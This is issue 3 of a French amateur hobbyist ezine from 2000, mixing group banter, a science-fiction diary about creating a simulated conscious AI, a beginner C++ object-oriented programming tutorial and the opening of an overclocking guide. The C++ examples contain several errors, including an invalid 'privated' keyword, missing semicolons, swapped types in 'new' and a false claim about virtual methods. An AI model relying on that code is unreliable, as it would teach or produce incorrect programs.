Copy Link
Add to Bookmark
Report
Sleazy Wind Issue 3
De: wolf <wolf@madchat.org>
À: maddany <maddany@madchat.org>
Objet: Sleazy Wind (enfin)
Date : lundi 20 novembre 2000 13:41
"L'aversion et la haine... c'est là peut-être que réside la plus grande faute commise par notre civilisation. Nous avons oublié que Dieu est non
seulement Connaissance mais ausi Amour... et c'est de ce manque d'amour que viendra l'Apocalypse... Si notre planète Gaïa souffre d'abord d'une
pollution chimique, d'un étouffement par le béton et d'une dégradation générale de l'environnement, elle est aussi lentement asphyxiée par la
noirceur de nos pensées, qui finiront tôt ou tard par provoquer la colère terrestre autant que céleste.", maddany aka. Paco Rabanne
<wolf> moi aussi j'en ai une bien bonne: "c'est l'type qui s'pr".
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR TRI
http://www.actionman.com/
*** "Eh, dis to ! -to"
<maddany> je tiens tout d'abord à dire que je n'ai rien à dire. Cremi. D'ailleurs, comme le disait un célèbre lapin, "prout le chasseur",
autrement dit venons en au phacochère (poil au sommaire) :
<Zero-cooL> moi j'ai quelque chose à dire ! on en est au numéro trois et l'article sur le poulet au pistou n'est toujoursq pas paru pourtant je
suis sur que tout nos lecteurs downloadent SW dans l'espoir qu'il y sera maddany fais qqchose !
<BluebirD> Et moi j'ecrirais pas dans ce mag beuh euh euh passque je suis une feignasse et j'ai
<BluebirD> rien appris de nouveau voila.
Phacochère de ce numéro :
1/ Projet: Athena (nouvelle), par dany dany yip yip (petits cris de joie)
<wolf> t'avais pas plus long comme nom que "dany dany yip yip (petits cris de joie)"?
<ulysse> Ouep m'enfin, LUI au moins, il à un nom original, pas comme certains...
<> Ouep il a un nom au moins...
2/ Introduction à la POO, par Croqmort d'h=edm²
<Note d'ulysse pour les incultes> La poo, c'est La Pisciculture Otorisée pour les Ovnis </Note d'ulysse pour les incultes>
3/ Optimisation d'un pc, par l'homme qui n'en était pas un (comprenez Zero-cooL)
4/ Sécurité web et autres joyeuseries, par maddany (l'homme qui se prend pour une femme (m'enfin quoi de plus banal aujourd'hui))
5/ Les aventures des trucs: Une étrange disparition... par wolf, le loup qui n'a rien a voir avec tout ca
Ce document s'auto-détruira dans 360 °C/min.
<maddany> Tiens j'y pense, ce numéro est le dernier de la (courte) série des sleazy wind. Paf. Il se peut qu'on en fasse un hypothétique nouveau
un jour mais c'est plus qu'improbable. Enfin bon, castagnette.
<wolf> je n'ai rien a voir avec cette merde sans nom mais maddany m'a supplié a genoux d'y ajouter quelques un de mes commentaires qui
déclenchent l'hilarité des fous... heu... des foules. donc voila.
<ulysse> N'en croyez pas un mot, wolf et moi (entre autres), on a supplié Maddany (remarquez la majuscule) pour pouvoir écrire quelques
lignes super drôle dans ce superbe zine...
<cybz> Ouai et c'etait vraiment pas la peine de m'envoyer ce truc ! je me vengerais
*** FIN DU DISAGE DE TO
<Zero-cool> putain dans ce numero on fait fort sur les jeux de mots mais n'ayez crainte jeunes lecteurs nous sommes sains d'esprit ... enfin la
plupart d'entre nous ...
<Bluebird> zzZZZzz .. Quoi ?! on arretterait SW ?! MadDany tes collegues de la CIA sont au courant ?
Ou alors c'est tes collegues a toi ZeroCooll ? bon ben moi je me rendors! zzZZZzz
<ulysse> Quoi, sains d'esprits? et pkoi pas de corps aussi?
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR TRI
http://www.actionman.com/
-------------------------------Interlude by Bluebird
DA BLUEBIRD'S ENIGME (interdite aux membres de SW !)
-----> Comment faire pour transformer un P3 en 786 ???
-----> Comment faire pour transformer un P2 en 80686 ???
-----> Comment faire pour transformer un 80586 en Pentiome ???
Mailez les reponses a bluebirdfr@ifrance.com
esnoper al sap zerua'n suov neir a tres aç srevne'l a eril a etet al sap zenerp suoV <zbyc>
-------------------------------End of the interlude
-------------------------------------------------------------------------------------
Projet: Athena
JOURNAL PERSONNEL DU PROFESSEUR EINZELKIND
Quand l'homme préfère oublier Prométhée...
17 Avril 2022
Je me suis enfin décidé à coucher mes pensées sur le papier. Je ne sais pas à quoi ça m'avance, à conjurer la peur indicible que me provoque
cette personne dans le miroir, j'imagine. J'ignore probablement tout de vous qui parcourez mon journal, si vous êtes tombés dessus par hasard je
vous conjure de le reposer, la vérité est trop dangereuse entre les mains d'un innocent. A mon ami Héphaïstos, sache que je regrette à l'avance
tout ce que je vais faire...
Je suis le professeur Wolfgang Einzelkind, voilà maintenant 16 années que je dirige une groupe de recherche secret sur l'intelligence
artificielle, si l'on peut dire. Le terme "intelligence artificielle" peut prêter à confusion sur la nature de nos travaux, puisqu'il peut
signifier "fausse intelligence". Notre but ultime est en fait la reproduction d'une intelligence humanoïde, la production d'une nouvelle forme de
pensée cybernétique indépendante et consciente. Nos travaux sont allés bien plus loin que tout ce qui existe déjà dans le domaine et nous sommes
sur le point de parvenir au terme de notre projet, le projet Athena.
Nous sommes peut-être allés trop loin, nous n'imaginions même pas arriver à ce stade terrible où la question n'est plus uniquement informatique.
Au début nous étions capables de produire des agents d'auto-préservation munis d'algorithmes d'apprentissage. Ils permettaient de singer de
manière amusante le comportement d'une forme de vie biologique, sans en acquérir pour autant les caractéristiques psychologiques ou évolutives,
ce n'étaient que des jouets rudimentaires en rapport de l'avancement actuel de nos travaux. Le problème était précisément de définir le concept
de vie, que même la science n'arrivait à appréhender pleinement. Après de nombreuses années d'études sur les théories existantes nous sommes
parvenus à imaginer un système informatique qui reproduirait une forme de vie semblable à ce que nous connaissons actuellement sur notre planète.
Avec ces idées en tête nous ne pouvions ne pas donner un nom à notre future créature, nous avons finalement opté pour Athena.
Le concept était qu'Athena devait vivre dans un environnement qu'elle pourrait percevoir selon un certain niveau de conscience, pareil au nôtre.
Ses grandes lignes seraient définies selon un certain nombre de données, déterminant sa propension à évoluer et ses caractéristiques, nous avons
choisi d'intégrer ce mode suite aux toutes dernières découvertes de Barnes concernant le génome humain. Son évolution psychologique se ferait
selon un schéma complexe d'apprentissages et de réactions, qui s'interpénètrent avec les caractéristiques fondamentales d'Athena et sa perception
du monde qui l'entoure. Partant du principe que la vie biologique a émergé selon une mécanique quantique sur plusieurs niveaux et que notre
esprit en est aussi la résultante, nous devions en tenir compte dans notre programme. C'était il y a deux ans, cette approche de la physique
quantique nous a permis de faire un bond immense, c'est à cette époque que l'Etat a commencé à contrôler nos travaux, et que nos recherches sont
devenues confidentielles. A partir de là, le reste était une question d'organisation et de perfectionnement. Nous devons effectuer les dernières
retouches à la psyché d'Athena dans les jours qui viennent.
21 Avril 2022
Nous avons convenu que le modèle psychologique d'Athena était au point. Pour l'instant Athena n'est qu'un concept abstrait, nous testons chaque
algorithme qui la composera séparément, avant l'assemblage final. Nous sommes parvenu à un système de reproduction des sentiments extrêmement
complet, la liste est impressionnante : espoir, désespoir, envie, peur, curiosité, amitié, étonnement, fierté, fascination, doute, orgueil,
haine, méfiance, honneur, pitié, regret, colère, tendresse, compassion, honte, jalousie, suffisance, angoisse, rancune, amertume, tristesse,
remords, satisfaction... j'ai toujours trouvé que cette liste semblait pourtant bien vide sans l'amour, mais cela ne devait pas rentrer en ligne
de compte selon nos nouveaux dirigeants. Nous étions tout d'abord réticents pour intégrer des sentiments "négatifs" tels que la haine ou la
jalousie, mais je suis profondément persuadé qu'un être ne peut acquérir la sagesse que lorsqu'il sait bannir ces sentiments, et ce serait être
un mauvais père que de refuser la sagesse à sa créature avant sa naissance. Ces différents sentiments et leurs dérivés sont contrôlés comme des
modules dont on peut observer les taux et les variations à tout moment, on peut aussi intervenir sur chacun d'eux. Il ne nous reste plus qu'à
fignoler l'environnement dans lequel évoluera Athena ainsi que ses caractéristiques bio-cybernétiques.
22 Avril 2022
De nombreuses alarmes ont retenti toute la journée, nous avons du rester terrés dans les pièces anti-attentats. Des unités de combat sont
maintenant postées en permanence dans nos locaux souterrains, ce qui ne fait que rajouter à la pression déjà existante. Des puissances ennemies
auraient soi-disant eu vent de nos travaux, nous avons eu ordre de couper toute connexion avec un réseau extérieur pour parer à une tentative de
piratage.
10 Mai 2022
L'ambiance n'a fait que se détériorer au sein de l'équipe ces derniers jours, je crois que nous commençons à nous rendre compte de ce que nous
essayons de faire...
Pour plus de commodité, Athena évoluera dans un monde semblable à notre Terre. Elle aura aussi les caractéristiques physiques d'une femme. Pour
le début de l'expérience elle sera seule, nous observerons son évolution dans ce monde et sa réaction à différents stimuli. Il n'y aura rien de
graphique ou de palpable, Athena aura simplement l'impression de voir et sentir les choses, nous l'enfermons dans une sorte d'illusion
permanente, elle-même ne vivra que par des réseaux neuronaux virtuels. Le monde qui l'entoure directement n'est pas sujet à une vérité absolue,
il sera généré à chaque instant par son inconscient et pourra donc changer subitement sans qu'elle remarque rien, puisque c'est elle même qui l'a
fait sans le savoir. Nous observerons de quelle manière évolue son univers, de plus pour parer à toute déformation anormale ou des faits
contradictoires nous avons un contrôle absolu sur son inconscient. Nous ne rentrerons pas en communication avec elle, l'expérience sera d'abord
de la laisser vivre et de l'observer, de la manipuler le cas échéant. Nous projetons de créer une deuxième forme d'intelligence avec laquelle
elle pourra interagir si les résultats sont concluants, le premier "homme" informatique. En attendant nous avons prévu des simulations
bio-cybernétiques primaires, des animaux qui peupleront son univers.
Il est important de bien concevoir l'univers dans lequel évoluera Athena, ne s'agissant d'un univers physique il ne peut y avoir ni forme, ni
son, ni image dans le cyber-espace. Les sensations seront fondamentalement différentes, mais nous pouvons produire des informations qui seront
interprétées comme telles. La conscience d'Athena sera le résultat des calculs du processeur biochimique central, rien d'autre qu'un léger flux
électrique et pourtant de ce flux naîtra une conscience qui sera persuadée d'évoluer de manière autonome dans un monde physique.
Un vif débat a eu lieu aujourd'hui quand à la planification de la vie d'Athena. Pour des raisons techniques il est préférable de reproduire une
période d'apprentissage primaire avant d'atteindre la maturité physique et psychologique. Elle vivra aussi à notre rythme pour que nous puissions
l'observer, mais étant enfermée dans ce monde changeant, elle ne peut de toute façon avoir de conception de notre temps, qui est en l'occurence
un temps absolu pour elle (mais pas forcément pour nous). Après une certaine quantité de cycles bio-télématiques elle devra mourrir. C'est cette
mort qui a provoqué tant de controverses. Certains voulaient que sa conscience perdure après la mort de son physique virtuel et qu'elle apprenne
alors notre existence, mais nous avons préféré rejeter ce concept, qui a été jugé trop proche de certaines doctrines religieuses. Sa mort sera
donc tout simplement une extinction de sa conscience et un effacement de ses caractéristiques.
Pour éviter les complications, nous avons à nouveau préféré choisir les mêmes caractéristiques pour l'univers virtuel que pour le nôtre : la
vitesse de la lumière, la masse de l'électron etc... Nous venons de mettre au point un univers viable, et une forme de vie qui est prête à y
entrer. La naissance d'Athena aura lieu demain.
11 Mai 2022
C'est enfin le jour J. Nous allons finalement savoir si nos années de recherche ont été couronnées de succès. C'est le matin, en me rendant au
centre je suis surpris de voir à quel point notre Univers est détaillé, chaque chose dispose d'une structure que nous pouvons étudier à l'infini
en étant en permanence surpris de sa complexité et de sa perfection. Nous sommes donc dans la salle principale de gestion expérimentale. Je
vérifie les derniers paramètres, tous les fragments de code fonctionnent parfaitement et attendent d'être exécutés. Je lance la procédure de
contrôle de l'univers virtuel, toutes les courbes indiquent un fonctionnement optimal. C'est maintenant le moment de charger en mémoire les
processus de naissance d'Athena, après un instant d'hésitation, j'appuie sur la touche.
C'est fait. Je l'ai fait. On ne peut plus revenir en arrière, j'aurais du arrêter cette folie tant qu'il en était encore temps... on n'entend
plus que le vrombissement diffus des ventilateurs qui brassent un air lourd et collant... tout le monde est suspendu aux courbes de sentiments et
de sensations d'Athena, désespérement fixes. Soudain une courbe daigna s'agiter timidement.
Quelque part, une fillette riait à cause d'une herbe carressant ses pieds nus.
mad in dany, qui sait aussi être un peu sérieux (mais pas trop, clouk)
<Zero-cooL> wouhou on tient le prochain stephen king nous ;o)
<BluebirD> MAdDany EST stephen king ...
<wolf> maddany et cet auteur de littérature de gare ne font qu'un? berk
<ulysse>Cet auteur de litterature de gard? il est ou le rapport là?
Au secours, je comprends rien! puisque c'est ca, je vais me pendre!!
<cybz> mouai c'est qu'une pale copie utopique du projet Ulysse tout ça.
Sauf que la fin a été complétée apres "tant qu'il en etait encore temps".
-------------------------------------------------------------------------------------
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR THOU
http://www.actionman.com/
--------------------------------------------------------------------------------------
la POO
par croqmort
H=EDM² (www.hacknow.com.bi)
vous me connaissez peut etre deja, je fait des articles pour h=edm² le mag le plus déjanté du monde :), si vous avez lu mes articles, vous avez
sûrement remarqué que dans l'informatique 3 choses m'interressent : la programmation, le cracking et tetrinet (/!\ tetrinet c'est pire que de la
drogue, une fois qu'on y a joué on peut plus s'arrêter !) dans cet article je vais essayer de vous apprendre une des choses les plus importantes
en programmation de nos jours, la programmation orienté objet !
<ulysse>Ouais, je confirme, tetrinet c bien une drogue! M'enfin bon, j'en profite au passage pour dire que cybz est nul, vous vous en foutez, c
clair mais lui il va mourir de honte.
<cybz> ouai mais bon comme tu le dis si bien on s'en fout ;)
je vais essayer de faire un article simple tout en etant le plus complet possible !
je me suis servi pour la premiere fois à fond de la poo dans mon programme appelé "Next World",il tourne sous dos en 320x200,c'est un jeu de
vaisseau style "xenon 2" (ça me refait penser a la belle époque de l'amiga !) c'est pour ça que les exemples de cet article seront en rapport
avec des vaisseaux, des bonus etc ...
"Next World" est encore sûrement à l'heure ou vous lirez ceci encore en dévelopement, car ce jeu est en dévelopement permanent ! faut dire que
c'est tellement facile une fois que l'on a fini les principaux objet, d'en créer de nouveaux grâce à l'héritage ! peut être un jour je mettrai en
ligne le code ! en attendant vous pouvez toujours me demander une version exécutable (en ce moment le jeu fait a peu prés 200 ko non compacté)
<ulysse> note pour plus tard: quand on parle d'heritage, surtout faut penser à définir ce que c'est trés vite.
enfin moi ce que j'en dis... Nan cybz, c'est pas un oncle d'amérique que file des sous...
I. INTRODUCTION
__________________
- a l'ère primaire de la programmation, l'asm régnait en maître absolu, les programmes etaient mal organisés et il était difficile de les
ameliorer une fois fini
<ulysse> Faut tout faire ici: pour les neuneus, l'asm, c l'Assembleur. Quand vous compilez un prog, aprés c'est (en gros) 'état dans lequel
il se retrouve pour que l'ordi y capte des trucs. C'est un langage de prog dis de bas niveau. c'est à dire qu'il aut tout lui dire,
il connait rien de base. Oui, je vois que vous avez compris puisque j'entends des :" Un peu comme cybz..." C pas faux mais pas trés gentil!
- puis vint l'ère de la programmation structurée, avec le pascal, le basic et bien entendu le C, les programmes etaient mieux organisés, mais
les modifications etaient encore un parcours du combattant ! (<maddany>où ça des cons battants ?)
- enfin, une nouvelle ère arriva vers 1990, une ère très importante : l'ère de la POO !
<ulysse> et les l4g, ça sent le pathé?
Les l4g, c leslangages de 4éme génération. en gors, tu leur dis de dessiner une fenêtre et il la font.
pas à se prendre la tête quoi
</ulysse>
la POO c'est la programmation orientée objet, pour expliquer ce qu'est la programmation orientée objet, je vais d'abord vous montrer ce qu'est
la programmation structurée :
dans la programmation structurée, on utilise des fonctions regroupant les suites d'instructions les plus utilisées, de plus on regroupe les
variables, exemple :
struct fenetre{
int x,y,w,h
}
dans la programmation orientée objet on va regrouper dans la structure fenetre, des fonctions en rapport avec la fenetre exemple :
struct fenetre{
int x,y,w,h
void deplace(int a,int b)
}
mais attention ce que je viens de marquer est faux car dans ce cas on utilise plus "struct" mais class !
class fenetre{
public:
fenetre();
int x,y,w,h;
void deplace(int a,int b);
}
les avantage de la poo, c'est l'organisation, la simplicité, la puissance de l'héritage, etc ....
<ulysse> La sécurité aussi avec les concepts de privé et public mais je pense que ça en cause aprés</u>
<cybz qu'en cause>blablabla... public...blablabla....concept...blablablaclasse...blaprivé..</cybz>
II. COMMENT CREER UN OBJET ?
_______________________________
on va prendre comme exemple un vaisseau
d'abord il faut déclarer notre objet vaisseau :
<cybz> Bientot en kiosques dans Warning : Comment fausser votre declaration d'objet ! </cybz>
class vaisseau{
}
que va-t-on mettre à l'intérieur ?
d'abord il faut savoir ce que sont les mots clé : "public :" , "privated :" et "protected :"
lorsque l'on declare des variables ou des fonctions après "public :" elles sont utilisables partout aussi bien dans la class que en dehors
lorsque l'on declare des variables ou des fonctions après "privated :" ou "protected :" elles sont utilisables seulement dans la class
pour la difference entre "privated :" et "protected :", on verra ça plus tard
<ulysse> Quand je vous disait qu'il allait en causer de ça... </ulysse>
donc là pour l'instant les variables que l'on veut déclarer on va les mettre en "public :"
class vaisseau{
public :
int x,y,w,h;
}
<ulysse> Ho le porc le porc le porc!!!<ulysse>
maintenant les fonctions : on va avoir besoin d'une fonction pour faire bouger le vaisseau :
class vaisseau{
public :
int x,y,w,h;
void bouge();
}
maintenant, il faut se creer des fonctions qui seront appelées dès la création d'un vaisseau :
class vaisseau{
public :
vaisseau();
int x,y,w,h;
void bouge();
}
et maintenant il faut un "destructeur" c'est a dire une fonction qui sera appelée lors de la destruction du vaissseau :
class vaisseau{
public :
vaisseau();
~vaisseau();
int x,y,w,h;
void bouge();
}
maintenant tout ça c'est bien bo mais qu'est ce que j'en fais ? là on a en fait juste déclaré comment va se présenter notre objet, maintenant il
faut créer l'intérieur, càd mettre les instructions dans "bouge();" par exemple !
pour cela on va d'abord enregistrer ce qu'on vient de faire dans un fichier "header" , un ".h" ou ".hpp" personnelement j'utilise toujours ".hpp"
on va enregistrer dans "vaisseau.hpp" :
#ifndef __vaisseau_hpp__
#define __vaisseau_hpp__
class vaisseau{
public :
vaisseau();
~vaisseau();
int x,y,w,h;
void bouge(int a,int b);
}
#endif
maintenant creons un fichier "vaisseau.cpp"
d'abord il faut "lié" le .hpp au .cpp :
#include "vaisseau.hpp"
maintenant ajoutons la 1er fonction, c à dire le l'initializer :
vaisseau::vaisseau(){
x = 0;
y = 0;
w = 0;
h = 0;
}
ensuite le destructor :
vaisseau::~vaisseau(){
}
et notre fonction "bouge"
void vaisseau::bouge(int a, int b){
x=a;
y=b;
}
voilà notre objet est fini !
maintenant pour s'en servir, il faut d'abord ajouter au début du fichier dans lequel on veut créer un vaisseau :
#include "vaisseau.hpp"
ensuite il faut ajouter "vaisseau.cpp" en tant que node au projet (dans borland vous cliquer avec le bouton droit sur le projet (dans la fenetre
projet) et vous sélectionnez "add node")
pour créer un vaisseau :
2 solution : avec ou sans pointeur :
sans pointeur :
vaisseau vs // vs est declarer comme etant un vaisseau
avec pointeur :
vaisseau *vs // vs est delarer en tant que pointeur de type vaisseau
vs = new vaisseau
...
delete vs
<ulysse>c bien beau de causer de pointeurs mais les gens un peu simple d'esprits (oui comme cybz, tout à fait) y savent pas
ce que c un pointeur si? enfin pour répéter ce qui doit être aillerus mais que g pas vu, un pointeur, c une variable qui pointe (ça alors!!)
sur une adresse mémoire (au lieu de contenir des données classiques).
</ulysse>
pour creer plusieur vaisseau dans le meme pointeur :
vs = new vaisseau[5]
pour s'en servir c'est simple il suffit de faire (index correspondant au vaisseau que vous voulez utilisez):
vs[index]->bouge(10,10);
mieux vaut utiliser les pointeurs !
<cybz> A vous de jouer ! Sur l'exemple du projet Athena original créez la classe Ulysse avec
les fonctions suivantes :
- Glander (man sleep)
- Dormir (voir Glander, attention au piege ne declarez pas deux fois la meme fonction !)
- Emmerder_le_monde (man talk)
- Monologue (man echo)
Conseil evitez d'utiliser trop les "public" ça peut devenir dangereux, et au passage...
je ne serais en aucun cas reponsable de toute degradation psychologique suite a la compilation
de cet exercice.
</cybz>
III. L'HERITAGE
__________________
l'heritage c'est le fait d'aller d'une notion générale, à une chose de plus en plus précise, exemple :
Objet
|
-------------------------------------------------------------
| | |
Tir Bonus Vaisseau
| | |
-------------- --------------- ---------------
| | | | | | |
Laser Boule Missile Bvie BTir Vami Vennemi
maintenant on va voir ça en C++ :
class objet {
public :
int x,y,w,h;
unsigned char far *dessin;
void dessine();
}
maintenant, un vaisseau, c'est un objet mais un objet qui bouge et qui tire !
class vaisseau : public objet {
public :
int puissancedetir;
void bouge(int depx, int depy);
bool fire(Tir *ptir)
}
même chose pour un tir :
class Tir : public objet {
public :
void bouge(int depx, int depy);
void touch(vaisseau *vs)
}
maintenant nous voyons que nous avons 2 fois bouge mais si on fait :
objet *obj;
obj = new objet;
obj->bouge(10,10);
ça marche pas ! solution ? :
class objet {
public :
int x,y,w,h;
unsigned char far *dessin;
virtual void bouge(int depx, int depy);
void dessine;
}
et maintenant :
objet *obj;
obj = new objet;
obj->bouge(10,10);
mais ça marche pas car objet a des classes virtual on ne peut donc pas créer un objet, on doit créer quelque chose de plus précis et pointer
dessus :
objet *obj;
Tir *ptir;
Tir = new ptir;
obj = Tir;
obj->bouge(10,10);
IV. ENCAPSULATION & POLYMORPHISME
___________________________________
là on va prendre des exemples dans la vie quotidienne pour expliquer ces termes, si vous comprenez rien c pas grave car ces 2 termes sont
inutiles, on fait de l'encapsulation et du polymorphisme sans s'en rendre compte !
encapsulation :
quand vous utilisez un chauffage, qu'il soit au fioul, au charbon, à l'electricité ou au plutonium (très économique :)), le résultat sera le
même, le chauffage va chauffer (étonnant non ?)
<cybz> C'est comme avec ulysse en fait, quoi qu'il dise on s'en fout
polymorphisme :
vous avez 2 pistolets ils sont pareil, mais l'un tire un petit drapeau où il est marqué "BANG" et l'autre il sort des balles
encapsulation : les objet sont différents mais ils font la même chose
polymorphisme : les objet sont similaires mais ils font des choses différentes !
V. ORGANISATION
_________________
poo ça rime avec organisation (enfin, ça rime pas mais c pas grave !)
car grâce à la poo, vous n'aurez pas des listing de 10 mo où on ne sait pas où ça commence et où ça finit et que lorsque il y'a par exemple un
crochet qui manque quel que part, vous avez plus qu'à abandonner votre programme !
donc faîtes des objets et surtout mettez par exemple les trucs relatifs au graphisme et à la mémoire dans un fichier à part !
de plus si on sépare bien tout si plus tard on veut adapter son programme à un autre système d'exploitation, exemple linux, on aura la tâche
simplifiée, on devra juste modifier quelques trucs mineurs !
<ulysse>
ouais pis aussi ce qui est top c'est que pour faire des copier coller de code aprés, on reprend juste un fichier contenant l'objet qui nous
plait et c plus mieux. Pour résumer, le programmeur de base est feignant, le bon programmeur l'est encore plus et le programmeur en poo
est le pire des 3. La poo, c l'art de la feignatise...
</ulysse>
VI. ME CONTACTER
___________________
si vous voulez me contacter, vous avez le choix :
E-MAIL :
croqmort@ifrance.com
compactez les fichiers joints et ne m'envoyez pas de fichier plus gros que 500 ko !
ICQ :
35295109
je suis souvent là très tard le soir ou très tôt le matin (en ce moment je vais souvent sur internet de 3h00 à 3h30 mais c'est parce que je
programme à fond en ce moment, en temps normal, je suis là à minuit !)
IRC :
irc.kewl.org
#h=edm²
on as quelque probleme avec les ircops donc on va peut etre partir, mais pour l'instant, J'Y SUIS ! S'Y RESTE !
SITE :
www.hacknow.com.bi ou si le redirecteur meurt : www.multimania.com/magedm2
le site est remis à jour tout les ... tous les quand j'ai envie ! (en moyenne tous les 2 mois :))
<ulysse> effectivement, le redirecteur est mort. M'enfin c normal quand on sort 1 zine 1 an aprés que tous les articles
ont étés bouclés aussi... </ulysse>
et n'oubliez pas d'aller télécharger H=EDM² (j'avoue que les 3 premier mag font pitié :))
--------------------------------------------------------------------------------------
/SSSSS WW WW
\SS LL EEEE AA ZZZZ Y YY WW /\ WW II NNN N DDDD
\SS LL EE_ AAAA Z YY WW /WW\ WW II NNNN N DD DD
SS\ LL EE A__A Z Y WWWWWWWW II NN NNN DD DD
SS\ LLLL EEEE A A ZZZZ Y WW WW II NN NN DDDD
SSSSS/ W W
NEUMBEUR THOU
http://members.xoom.com/SleazyWind/
---------------------------------------------------------------------------------------
OPTIMISATION D'UN PC par Zero-cooL
Rappel du dernier épisode : dans SW 2 (quoi vous l'avez pas lu ? alors foncez) nous avions etudié les différentes commandes du bios. Dans cette
partie nous étudierons comment ces commandes ainsi que d'autres composants du pc peuvent être à l'origine d'une optimisation entraînant un gain
de performance et d'argent :o)
1°) INTRODUCTION ET GENERALITES
-----------------------
1.1 : rappel :
-----------------------
Le BIOS (pour Basic Input Output System) est le composant primaire d'un PC. Il est responsable de toutes les tâches d'initialisation d'un PC,
d'une manière générale, il contrôle toutes les entrées/sorties primaires telles que le clavier, les ports série, parallèle et les différentes
cartes (vidéo, son, etc.) par le biais d'interruptions en conjonction avec le CPU (Central Processing Unit). En fait, le BIOS est l'endroit où
sont stockées toutes les informations de base concernant la configuration du matériel d'un ordinateur et ce sont les premières informations lues
et exigées au démarrage de l'ordinateur. Les informations du BIOS sont emmagasinées dans une puce appelé CMOS (Complementary Metal Oxide
Semiconductor) qui est gardée sous alimentation constante par la batterie de sauvegarde (pile ou accumulateur) de l'ordinateur. De cette façon,
les informations contenues dans le CMOS restent toujours disponibles même si l'ordinateur est hors tension .
-------------------------
1.2 : comment optimiser :
-------------------------
Pour optimiser votre PC nous étudierons 3 méthodes. Ces méthodes combinées ensemble offriront à votre PC une seconde jeunesse. Ces méthodes sont
- L'overcloking
- L'optimisation (qui sera traitée plus tard si l'envie me reprend)
<maddany> c'est bien parce qu'en plus, zero-cool il sait compter :)
<BluebirD> nan il essaye d'imiter les blagues sur Johnny pff pitoyable :)
2°) OVERCLOKING : FAITES CHAUFFER LES CPU !
------------------
2.1 : Définition :
------------------
L'overclocking ou le "surcadençage" est le fait de faire fonctionner un processeur (ou tout autre composant électronique) à une fréquence plus
élevée que celle donnée par le constructeur. La vitesse de fonctionnement d'un processeur est générée par un circuit électronique externe monté
sur la carte mère et depuis l'arrivée de processeurs à multiples fréquence, les fabricants de cartes mère proposent depuis longtemps des cartes
capables de fournir toute une gamme de fréquences différentes. Bien évidement, vous devez bien garder en tête que l'overclocking n'est préconisé
par aucun fabricants de processeurs. Cette pratique annule la garantie et peut créer des pertes de données, des plantages, des composants
détruits etc... Vous prenez donc l'entière responsabilité de vos manipulations. L'overclocking est maintenant devenu très courant et est devenu
un marché un part entière. Il existe maintenant énormemment de fabricants de pièces "hautes performances", aussi bien les cartes mères, avec des
réglages de plus en plus précis, que des ventilateurs surdimensionnés, ou des logiciels de tests et de refroidissement.
Les fabricants de puces ne peuvent pas vendre leurs microprocesseurs à leur fréquence maximale d'utilisation, en effet, ceux-ci ont besoins
d'une marge de fonctionnement, un processeur, qui fonctionne à sa fréquence initiale, doit rester stable dans les pires conditions
d'utilisations, suivant les utilisateurs, un processeur peut fonctionner dans un boitier mal aéré ou encore près d'un source de chaleur
importante. Ce dernier, fonctionnerait très mal ou serait source de plantage s'il n'avait pas une "marge d'utilisation". Les constructeurs ne
cessent d'améliorer la qualité de fabrication de leur processeurs. Un processeur acheté il y a 1 an sera beaucoups moins apte a l'overclocking
qu'un processeur qui vient de sortir. Les améliorations apportées sont la réduction de la taille de gravure des puces. Les tout premiers Pentium
étaient gravés en 0.80 micron, les suivants en 0.60 micron, puis plus récemment, les Pentium MMX et K6 en 0.35 micron. Les Pentium II et K6-2 en
0.25 micron. Les derniers arrivés, PIII et Athlon sont en 0.18 micron et la future génération en 0.13 micron. La réduction de taille est le plus
important dans les performances d'un processeur, ceci donne un potentiel de vitesse plus élevé, une réduction de la puissance consommée, donc un
échauffement moindre de la puce. Car le plus "bloquant" dans un Overclocking, c'est la chaleur...
L'overcloking c'est donc l'art d'utiliser les marges de sécurités des constructeurs afin de gagner de la vitessse !
<maddany> oui, vive la vitessssssse
<BluebirD> ouais moi grace a cet article j'ai transformer mon P2 en 80686 !!!!!
<wolf> et bien moi j'ai overclocké mon 486 a 1GHz et j'ai absolument aucun plantttttttttttttttttttttttttttttttttttttttttttttttt
<ccyybbzz> ppaass ddee bbooll wwoollff mmooii ççaa ffoonnccttiioonnnnee iimmppeecc
--------------------------------
2.2 : Oui mais comment faire ? :
--------------------------------
Tout d'abord le choix du matériel est primordial. En effet pour obtenir l'overcloking le plus stable et le plus élevé possible les composants
suivants doivent être de qualité supérieure : carte mère, mémoire vive, boîtier, carte video (si sur bus AGP) et processeur bien sur :o). En
effet, il y a quelques règles pour être sûr de reussir un bon overclocking. Il ne s'agit pas de pousser le plus haut possible mais d'avoir une
machine qui reste stable et performante. Car évidement, même si l'on peut pousser la fréquence du CPU sur un P.C tout à fait standard, les
résultats et la stabilité obtenus seront bien meilleurs en utilisant des composants de marques et de qualité. Bien entendu l'utilisateur banal ou
ne souhaitant pas changer de matériel pourra évidemment charger le sien tout en sachant qu'il risque de perdre des performances ou que
l'overcloking sera moins stable.
----------------------------------
2.3 : Matériel actuel recommandé :
----------------------------------
- Carte Mère :
Le top, actuellement, est une carte qui propose le maximum de réglages de fréquence de bus. Sur L'abit BE6-2 par exemple, vous avez la
possibilité d'augmenter votre vitesse de bus par pas de 1Mhz (entre 66 et 200 Mhz). Idem pour le multiplicateurs CPU, il est préférable d'avoir
le plus de marge possible. Il faut s'assurer que l'on dispose d'une large plage de tension d'alimentation du processeur, qui monte d'au moins 1 V
au-dessus de la tension normale du processeur et ce toujours par pas de 0.1 voir 0.05 V. Une sonde de température (voir plus) intégrées et le
réglages de tous ces paramètres en soft a partir du Setup sont un plus. Il y a beaucoups de cartes mère qui proposent ces réglages par "Jumper"
